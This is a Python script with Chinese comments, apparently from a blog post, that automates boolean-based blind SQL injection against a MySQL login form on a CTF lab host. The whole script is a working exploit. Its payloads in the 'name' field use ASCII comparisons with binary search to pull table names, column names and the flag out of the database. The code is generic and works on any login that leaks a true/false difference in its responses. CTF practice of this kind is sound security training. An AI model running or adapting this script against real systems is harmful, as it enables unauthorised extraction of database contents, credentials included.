#coding:utf-8
import urllib.request
import json
"""
SQL盲注脚本,适用于MYSQL数据库;CTF 0~1 SQL注入第二题
"""
class SqlBlindInjection(object):
def __init__(self):
self.url = "http://eci-2zej1goyn9jgugq1cnzn.cloudeci1.ichunqiu.com/login.php"
#条件为真的返回值
self.TRUERTN = u"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"
#条件为假时的返回值
self.FALSERTN = u"\u8d26\u53f7\u4e0d\u5b58\u5728"
#猜测位数
self.GUESSNUM = 128
#头部
self.headers = {'Accept-Charset': 'utf-8', 'Content-Type': 'application/x-www-form-urlencoded'}
def post(self, url, data):
"""
发送post请求
True:条件为真
False:条件为假
"""
req = urllib.request.Request(url=url, data=data.encode(), headers=self.headers, method='POST')
response = urllib.request.urlopen(req).read()
try:
json_rtn = json.loads(response)
if json_rtn["msg"] == self.TRUERTN:
return True
elif json_rtn["msg"] == self.FALSERTN:
return False
except Exception as e:
return self.post(url, data)
def binary_search(self, url, data):
"""
二分查找猜测
"""
rtn = ""
for i in range(1, self.GUESSNUM):
#ascii可打印字符32~127
start = 32
end = 128
mid = (start+end)//2
while start < end:
cdata = data%(i,mid,)
if self.post(self.url, cdata):
start = mid + 1
else:
end = mid
mid = (start+end)//2
if mid == 32:
break
rtn += chr(mid)
print(rtn)
return rtn
def guess_table(self):
"""
猜测表名
"""
data = "name=admin' and if(ascii(mid((Select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d,1,0)#&pass=1"
table_name = self.binary_search(self.url, data)
print(table_name)
def guess_cols(self):
"""
猜测列名
"""
data = "name=admin' and if(ascii(mid((Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),%d,1))>%d,1,0)#&pass=1"
col_name = self.binary_search(self.url, data)
print(col_name)
def get_flag(self):
"""
获得flag
"""
data = "name=admin' and if(ascii(mid((Select flag from fl4g),%d,1))>%d,1,0)#&pass=1"
flag = self.binary_search(self.url, data)
print(flag)
if __name__ == '__main__':
sql_blind_inection = SqlBlindInjection()
#fl4g
#sql_blind_inection.guess_table()
#flag
#sql_blind_inection.guess_cols()
print(sql_blind_inection.get_flag())
03-01
1494
![](https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png)
11-06
1048
![](https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png)
10-04
767
![](https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png)